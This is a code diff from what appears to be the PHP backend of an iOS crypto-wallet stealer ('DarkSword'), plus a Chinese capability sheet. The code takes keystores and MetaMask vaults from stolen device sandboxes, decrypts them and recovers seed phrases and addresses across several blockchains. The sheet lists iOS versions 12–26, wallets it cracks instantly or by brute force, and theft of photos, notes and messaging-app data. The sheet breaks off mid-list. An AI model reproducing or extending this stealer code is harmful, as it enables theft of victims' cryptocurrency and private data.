$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$row = [
|
$row = [
|
||||||
@@ -810,6 +812,92 @@ class DarkSwordIngestAdapter
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree.
|
||||||
|
* The rest of the sandbox is discarded.
|
||||||
|
*
|
||||||
|
* @return list<WalletKeystore>
|
||||||
|
*/
|
||||||
|
private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array
|
||||||
|
{
|
||||||
|
$items = $this->keystoreDecrypt->collectKeystores($tree);
|
||||||
|
$rows = [];
|
||||||
|
$seen = [];
|
||||||
|
foreach ($items as $item) {
|
||||||
|
$ks = $item['keystore'];
|
||||||
|
$crypto = $ks['crypto'] ?? $ks['Crypto'] ?? [];
|
||||||
|
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||||
|
if ($fp === '|' || isset($seen[$fp])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$seen[$fp] = true;
|
||||||
|
$source = trim((string) ($item['source'] ?? ''));
|
||||||
|
if ($source === '') {
|
||||||
|
$source = 'Trust Wallet';
|
||||||
|
}
|
||||||
|
$payload = $ks;
|
||||||
|
$payload['kind'] = 'web3.keystore';
|
||||||
|
$rows[] = $this->createKeystore(
|
||||||
|
$device,
|
||||||
|
$source,
|
||||||
|
$payload,
|
||||||
|
$this->web3NeedsUserPassword($source),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $rows;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function web3NeedsUserPassword(string $source): bool
|
||||||
|
{
|
||||||
|
$label = strtolower(trim($source));
|
||||||
|
|
||||||
|
return str_contains($label, 'imtoken')
|
||||||
|
|| str_contains($label, 'metamask')
|
||||||
|
|| str_contains($label, 'tronlink')
|
||||||
|
|| str_contains($label, 'tokenpocket')
|
||||||
|
|| str_contains($label, 'global wallet');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs
|
||||||
|
* still see UTC blobs after we stopped persisting full sandbox dumps.
|
||||||
|
*
|
||||||
|
* @return array{0: array<string, mixed>, 1: array<string, mixed>}
|
||||||
|
*/
|
||||||
|
public function storedWalletTrees(Device $device): array
|
||||||
|
{
|
||||||
|
$device->loadMissing('keystores');
|
||||||
|
$wallets = [];
|
||||||
|
$sandbox = [];
|
||||||
|
foreach ($device->keystores as $row) {
|
||||||
|
$json = is_array($row->raw_json) ? $row->raw_json : [];
|
||||||
|
$kind = (string) ($json['kind'] ?? '');
|
||||||
|
if (str_starts_with($kind, 'keychain')) {
|
||||||
|
$wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []);
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) {
|
||||||
|
$key = trim((string) $row->source);
|
||||||
|
if ($key === '') {
|
||||||
|
$key = 'web3';
|
||||||
|
}
|
||||||
|
if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) {
|
||||||
|
$sandbox[$key] = [];
|
||||||
|
}
|
||||||
|
$sandbox[$key][] = $json;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (isset($json['sandbox']) && is_array($json['sandbox'])) {
|
||||||
|
$sandbox = array_merge($sandbox, $json['sandbox']);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return [$wallets, $sandbox];
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return list<WalletKeystore>
|
* @return list<WalletKeystore>
|
||||||
*/
|
*/
|
||||||
@@ -879,9 +967,9 @@ class DarkSwordIngestAdapter
|
|||||||
/**
|
/**
|
||||||
* @param array<string, mixed> $rawJson
|
* @param array<string, mixed> $rawJson
|
||||||
*/
|
*/
|
||||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore
|
||||||
{
|
{
|
||||||
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -893,19 +981,7 @@ class DarkSwordIngestAdapter
|
|||||||
public function reprocessKeystores(Device $device): void
|
public function reprocessKeystores(Device $device): void
|
||||||
{
|
{
|
||||||
$device->load('keystores');
|
$device->load('keystores');
|
||||||
|
[$wallets, $sandbox] = $this->storedWalletTrees($device);
|
||||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
|
||||||
// can traverse the original tree structure.
|
|
||||||
$wallets = [];
|
|
||||||
$sandbox = [];
|
|
||||||
foreach ($device->keystores as $row) {
|
|
||||||
$kind = $row->raw_json['kind'] ?? '';
|
|
||||||
if (str_starts_with($kind, 'keychain')) {
|
|
||||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
|
||||||
} else {
|
|
||||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||||
$this->walkForMnemonics($device, $wallets, 'd');
|
$this->walkForMnemonics($device, $wallets, 'd');
|
||||||
@@ -919,8 +995,38 @@ class DarkSwordIngestAdapter
|
|||||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||||
{
|
{
|
||||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||||
|
$this->applyMnemonicHits($device, $hits);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password,
|
||||||
|
* then persist mnemonics the same way as automatic recovery.
|
||||||
|
*
|
||||||
|
* @return array{hits: int, utc: int, vault: int}
|
||||||
|
*/
|
||||||
|
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||||
|
{
|
||||||
|
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
||||||
|
$this->applyMnemonicHits($device, $result['hits']);
|
||||||
|
if ($result['hits'] !== []) {
|
||||||
|
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
||||||
|
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'hits' => count($result['hits']),
|
||||||
|
'utc' => $result['utc'],
|
||||||
|
'vault' => $result['vault'] ?? 0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
||||||
|
*/
|
||||||
|
private function applyMnemonicHits(Device $device, array $hits): void
|
||||||
|
{
|
||||||
foreach ($hits as $hit) {
|
foreach ($hits as $hit) {
|
||||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
||||||
$this->ingest->ingestMnemonic($device, [
|
$this->ingest->ingestMnemonic($device, [
|
||||||
'mnemonic' => $hit['phrase'],
|
'mnemonic' => $hit['phrase'],
|
||||||
'a' => $tag,
|
'a' => $tag,
|
||||||
@@ -970,8 +1076,18 @@ class DarkSwordIngestAdapter
|
|||||||
if (is_string($node)) {
|
if (is_string($node)) {
|
||||||
$phrase = $this->asMnemonicPhrase($node);
|
$phrase = $this->asMnemonicPhrase($node);
|
||||||
if ($phrase !== null) {
|
if ($phrase !== null) {
|
||||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
$ingestTag = $tag;
|
||||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
if ($sourceHint !== '') {
|
||||||
|
$mapped = WalletSource::tagForLabel($sourceHint);
|
||||||
|
if ($mapped !== '') {
|
||||||
|
$ingestTag = $mapped;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]);
|
||||||
|
$hits[] = [
|
||||||
|
'phrase' => $phrase,
|
||||||
|
'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag),
|
||||||
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
return;
|
return;
|
||||||
@@ -1028,6 +1144,13 @@ class DarkSwordIngestAdapter
|
|||||||
|
|
||||||
private function tagForWalletKey(string $key, string $fallback): string
|
private function tagForWalletKey(string $key, string $fallback): string
|
||||||
{
|
{
|
||||||
|
$hint = WalletSource::fromKeystoreHint($key);
|
||||||
|
if ($hint !== '') {
|
||||||
|
$mapped = WalletSource::tagForLabel($hint);
|
||||||
|
if ($mapped !== '') {
|
||||||
|
return $mapped;
|
||||||
|
}
|
||||||
|
}
|
||||||
$k = strtolower($key);
|
$k = strtolower($key);
|
||||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||||
return 'b';
|
return 'b';
|
||||||
|
|||||||
@@ -78,6 +78,99 @@ final class DsKeystoreDecrypt
|
|||||||
return $hits;
|
return $hits;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||||
|
* MetaMask-style password vaults on this row (and same-source rows).
|
||||||
|
*
|
||||||
|
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||||
|
*/
|
||||||
|
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||||
|
{
|
||||||
|
$device->loadMissing('keystores');
|
||||||
|
$source = trim((string) $row->source);
|
||||||
|
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
||||||
|
foreach ($device->keystores as $other) {
|
||||||
|
if ((int) $other->id === (int) $row->id) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (trim((string) $other->source) !== $source) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
||||||
|
}
|
||||||
|
|
||||||
|
$utcs = [];
|
||||||
|
$vaults = [];
|
||||||
|
foreach ($nodes as $node) {
|
||||||
|
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
||||||
|
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
||||||
|
}
|
||||||
|
$utcs = $this->uniqueKeystores($utcs);
|
||||||
|
$passwords = $this->expandUserPassword($password);
|
||||||
|
$hits = [];
|
||||||
|
$seen = [];
|
||||||
|
if ($passwords === []) {
|
||||||
|
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($utcs as $item) {
|
||||||
|
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||||
|
if ($phrase === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$hash = WalletMnemonic::hashSecret($phrase);
|
||||||
|
if (isset($seen[$hash])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$seen[$hash] = true;
|
||||||
|
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
|
||||||
|
$hits[] = [
|
||||||
|
'source' => $hitSource,
|
||||||
|
'tag' => WalletSource::tagForLabel($hitSource),
|
||||||
|
'phrase' => $phrase,
|
||||||
|
'addresses' => [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($vaults as $item) {
|
||||||
|
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
|
||||||
|
if ($phrase === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$hash = WalletMnemonic::hashSecret($phrase);
|
||||||
|
if (isset($seen[$hash])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$seen[$hash] = true;
|
||||||
|
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
|
||||||
|
$hits[] = [
|
||||||
|
'source' => $hitSource,
|
||||||
|
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
|
||||||
|
'phrase' => $phrase,
|
||||||
|
'addresses' => [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public function expandUserPassword(string $password): array
|
||||||
|
{
|
||||||
|
$password = trim($password);
|
||||||
|
if ($password === '') {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$out = $this->passwordsFromString($password);
|
||||||
|
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
|
||||||
|
$out = array_merge($out, $this->passwordsFromHex($password));
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_values(array_unique($out));
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return array{utc: int, passwords: int, entropy: int}
|
* @return array{utc: int, passwords: int, entropy: int}
|
||||||
*/
|
*/
|
||||||
@@ -575,6 +668,192 @@ final class DsKeystoreDecrypt
|
|||||||
return $out;
|
return $out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
|
||||||
|
*
|
||||||
|
* @return list<array{source: string, vault: array<string, mixed>}>
|
||||||
|
*/
|
||||||
|
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 10 || $node === null) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
if (is_string($node)) {
|
||||||
|
$decoded = $this->decodeBlob($node);
|
||||||
|
if ($decoded === null) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
|
||||||
|
}
|
||||||
|
if (! is_array($node)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
if ($this->isPasswordVault($node)) {
|
||||||
|
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
|
||||||
|
}
|
||||||
|
|
||||||
|
$out = [];
|
||||||
|
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||||
|
if ($acct === 'vault_backup' && $source === '') {
|
||||||
|
$source = 'MetaMask';
|
||||||
|
}
|
||||||
|
foreach ($node as $key => $child) {
|
||||||
|
$next = $source;
|
||||||
|
if (is_string($key)) {
|
||||||
|
$hint = WalletSource::fromKeystoreHint($key);
|
||||||
|
if ($hint !== '') {
|
||||||
|
$next = $hint;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (is_array($child) || is_string($child)) {
|
||||||
|
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $node
|
||||||
|
*/
|
||||||
|
public function isPasswordVault(array $node): bool
|
||||||
|
{
|
||||||
|
foreach (['cipher', 'iv', 'salt'] as $key) {
|
||||||
|
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $vault
|
||||||
|
* @param list<string> $passwords
|
||||||
|
*/
|
||||||
|
public function unlockPasswordVault(array $vault, array $passwords): ?string
|
||||||
|
{
|
||||||
|
foreach ($passwords as $password) {
|
||||||
|
$plain = $this->decryptPasswordVault($vault, $password);
|
||||||
|
if ($plain === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$phrase = $this->phraseFromVaultPlain($plain);
|
||||||
|
if ($phrase !== null) {
|
||||||
|
return $phrase;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
|
||||||
|
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $vault
|
||||||
|
*/
|
||||||
|
private function decryptPasswordVault(array $vault, string $password): ?string
|
||||||
|
{
|
||||||
|
$cipherB64 = (string) ($vault['cipher'] ?? '');
|
||||||
|
$ivRaw = (string) ($vault['iv'] ?? '');
|
||||||
|
$saltStr = (string) ($vault['salt'] ?? '');
|
||||||
|
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$cipher = base64_decode($cipherB64, true);
|
||||||
|
if (! is_string($cipher) || $cipher === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
|
||||||
|
if (! is_string($iv) || $iv === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
|
||||||
|
if ($iterations < 1) {
|
||||||
|
$iterations = 5000;
|
||||||
|
}
|
||||||
|
$salts = [$saltStr];
|
||||||
|
$decodedSalt = base64_decode($saltStr, true);
|
||||||
|
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
|
||||||
|
$salts[] = $decodedSalt;
|
||||||
|
}
|
||||||
|
foreach ($salts as $salt) {
|
||||||
|
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
|
||||||
|
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||||
|
if (is_string($plain) && $plain !== '') {
|
||||||
|
return $plain;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function phraseFromVaultPlain(string $plain): ?string
|
||||||
|
{
|
||||||
|
$direct = $this->asMnemonic($plain);
|
||||||
|
if ($direct !== null) {
|
||||||
|
return $direct;
|
||||||
|
}
|
||||||
|
$json = json_decode($plain, true);
|
||||||
|
if (! is_array($json)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->phraseFromVaultNode($json);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function phraseFromVaultNode(mixed $node): ?string
|
||||||
|
{
|
||||||
|
if (is_string($node)) {
|
||||||
|
return $this->asMnemonic($node);
|
||||||
|
}
|
||||||
|
if (! is_array($node)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (isset($node['mnemonic'])) {
|
||||||
|
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
|
||||||
|
if ($phrase !== null) {
|
||||||
|
return $phrase;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
$phrase = $this->phraseFromVaultNode($child);
|
||||||
|
if ($phrase !== null) {
|
||||||
|
return $phrase;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mnemonicFieldToPhrase(mixed $value): ?string
|
||||||
|
{
|
||||||
|
if (is_string($value)) {
|
||||||
|
return $this->asMnemonic($value);
|
||||||
|
}
|
||||||
|
if (! is_array($value) || $value === []) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
|
||||||
|
$raw = '';
|
||||||
|
foreach ($value as $code) {
|
||||||
|
if (! is_numeric($code)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$raw .= chr((int) $code);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->asMnemonic($raw);
|
||||||
|
}
|
||||||
|
if (is_string($value[0] ?? null)) {
|
||||||
|
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ use App\Support\WalletSource;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
|
||||||
* Only BTC / ETH / TRX; at most two addresses per chain, in file order.
|
* BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order.
|
||||||
*/
|
*/
|
||||||
class DsTrustAddressIngest
|
class DsTrustAddressIngest
|
||||||
{
|
{
|
||||||
@@ -18,6 +18,9 @@ class DsTrustAddressIngest
|
|||||||
0 => 'BITCOIN',
|
0 => 'BITCOIN',
|
||||||
60 => 'ETHEREUM',
|
60 => 'ETHEREUM',
|
||||||
195 => 'TRON',
|
195 => 'TRON',
|
||||||
|
20000714 => 'BSC',
|
||||||
|
501 => 'SOLANA',
|
||||||
|
10042221 => 'ARBITRUM',
|
||||||
];
|
];
|
||||||
|
|
||||||
public function __construct(
|
public function __construct(
|
||||||
@@ -47,6 +50,9 @@ class DsTrustAddressIngest
|
|||||||
'BITCOIN' => [],
|
'BITCOIN' => [],
|
||||||
'ETHEREUM' => [],
|
'ETHEREUM' => [],
|
||||||
'TRON' => [],
|
'TRON' => [],
|
||||||
|
'BSC' => [],
|
||||||
|
'SOLANA' => [],
|
||||||
|
'ARBITRUM' => [],
|
||||||
];
|
];
|
||||||
foreach ($this->walkAccounts($node) as $acct) {
|
foreach ($this->walkAccounts($node) as $acct) {
|
||||||
$address = trim((string) ($acct['address'] ?? ''));
|
$address = trim((string) ($acct['address'] ?? ''));
|
||||||
@@ -68,6 +74,9 @@ class DsTrustAddressIngest
|
|||||||
$symbol = match ($chain) {
|
$symbol = match ($chain) {
|
||||||
'BITCOIN' => 'BTC',
|
'BITCOIN' => 'BTC',
|
||||||
'ETHEREUM' => 'ETH',
|
'ETHEREUM' => 'ETH',
|
||||||
|
'BSC' => 'BNB',
|
||||||
|
'SOLANA' => 'SOL',
|
||||||
|
'ARBITRUM' => 'ETH',
|
||||||
default => 'TRX',
|
default => 'TRX',
|
||||||
};
|
};
|
||||||
foreach ($addresses as $address) {
|
foreach ($addresses as $address) {
|
||||||
@@ -170,6 +179,8 @@ class DsTrustAddressIngest
|
|||||||
'BITCOIN' => 'BITCOIN',
|
'BITCOIN' => 'BITCOIN',
|
||||||
'ETHEREUM' => 'ETHEREUM',
|
'ETHEREUM' => 'ETHEREUM',
|
||||||
'TRON' => 'TRON',
|
'TRON' => 'TRON',
|
||||||
|
'BSC' => 'BSC',
|
||||||
|
'SOLANA' => 'SOLANA',
|
||||||
default => null,
|
default => null,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -451,7 +451,7 @@ class IngestService
|
|||||||
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
||||||
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
||||||
$version = isset($item['v']) ? (string) $item['v'] : null;
|
$version = isset($item['v']) ? (string) $item['v'] : null;
|
||||||
if ($bundle === '') {
|
if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
DeviceApp::query()->updateOrCreate(
|
DeviceApp::query()->updateOrCreate(
|
||||||
@@ -942,6 +942,7 @@ class IngestService
|
|||||||
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
|
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
|
||||||
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
|
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
|
||||||
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
|
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
|
||||||
|
in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'],
|
||||||
default => [$chainType],
|
default => [$chainType],
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -266,6 +266,8 @@ final class WalletSource
|
|||||||
'TRX', 'TRON',
|
'TRX', 'TRON',
|
||||||
'BTC', 'BITCOIN',
|
'BTC', 'BITCOIN',
|
||||||
'BNB', 'BSC', 'BINANCE',
|
'BNB', 'BSC', 'BINANCE',
|
||||||
|
'SOL', 'SOLANA',
|
||||||
|
'ARB', 'ARBITRUM',
|
||||||
];
|
];
|
||||||
|
|
||||||
public static function isSupportedChain(string $chainType): bool
|
public static function isSupportedChain(string $chainType): bool
|
||||||
@@ -375,6 +377,7 @@ final class WalletSource
|
|||||||
'SOLANA', 'SOL' => 'SOL',
|
'SOLANA', 'SOL' => 'SOL',
|
||||||
'TON' => 'TON',
|
'TON' => 'TON',
|
||||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||||
|
'ARB', 'ARBITRUM' => 'ETH',
|
||||||
default => strtoupper($chainType) ?: 'UNKNOWN',
|
default => strtoupper($chainType) ?: 'UNKNOWN',
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,66 @@
|
|||||||
|
# 系统能力介绍
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## JS 访问版
|
||||||
|
|
||||||
|
### 13-17 系列
|
||||||
|
|
||||||
|
**支持版本范围:** 13 – 17.2.1
|
||||||
|
|
||||||
|
**支持钱包:**
|
||||||
|
- 打开钱包 APP 获取:MetaMask / Trust / Coinbase / BitKeep / Tonkeeper / Uniswap / Phantom / MyTonWallet / Exodus / Ronin / Krystal / Tonhub / Coin98 / Bitpie / Solflare / OKX
|
||||||
|
- 需要转账/查看助记词等动作:imToken / TronLink / TokenPocket
|
||||||
|
|
||||||
|
**支持的其他能力:** 相册 / 备忘录 / WhatsApp 参数 / Telegram 参数 / APP 应用列表
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 18 系列
|
||||||
|
|
||||||
|
**支持版本:** 18.5 / 18.6 / 18.6.1 / 18.6.2
|
||||||
|
|
||||||
|
**支持钱包:**
|
||||||
|
- 秒破:Bitpie / Trust / Coin98 /Uniswap / Phantom
|
||||||
|
- 暴力破:imToken / BitKeep / MetaMask / Tonkeeper
|
||||||
|
|
||||||
|
|
||||||
|
**支持的其他能力:** 相册 / 备忘录 / APP 应用列表
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 支持的版本明细
|
||||||
|
|
||||||
|
```
|
||||||
|
13: 13.1 13.1.1 13.1.3 13.2 13.2.2 13.3 13.3.1 13.4.1 13.5 13.5.1 13.6 13.6.1 13.7
|
||||||
|
14: 14.0 14.0.1 14.1 14.2 14.2.1 14.3 14.4 14.4.1 14.4.2 14.5 14.5.1 14.6 14.7 14.7.1 14.8 14.8.1
|
||||||
|
15: 15.0 15.0.1 15.0.2 15.1 15.1.1 15.2 15.2.1 15.3 15.3.1 15.4 15.4.1 15.5 15.6 15.6.1
|
||||||
|
15.7 15.7.1 15.7.2 15.7.3 15.7.4 15.7.5 15.7.6 15.7.7 15.7.8 15.7.9
|
||||||
|
15.8 15.8.1 15.8.2 15.8.3 15.8.4 15.8.5 15.8.6
|
||||||
|
16: 16.0 16.0.1 16.0.2 16.0.3 16.1 16.1.1 16.1.2 16.2 16.3 16.3.1 16.4 16.4.1
|
||||||
|
16.5 16.5.1 16.6 16.6.1 16.7 16.7.1 16.7.2 16.7.3 16.7.4
|
||||||
|
17: 17.0 17.0.1 17.0.2 17.0.3 17.1 17.1.1 17.1.2 17.2 17.2.1
|
||||||
|
18: 18.5 18.6 18.6.1 18.6.2
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## APP 下载版
|
||||||
|
|
||||||
|
### 12 – 26.6.1
|
||||||
|
|
||||||
|
**版本范围:** iOS 12 ~ iOS 18.7.2 / iOS 26.0 / iOS 26.0.1
|
||||||
|
|
||||||
|
**支持钱包:**
|
||||||
|
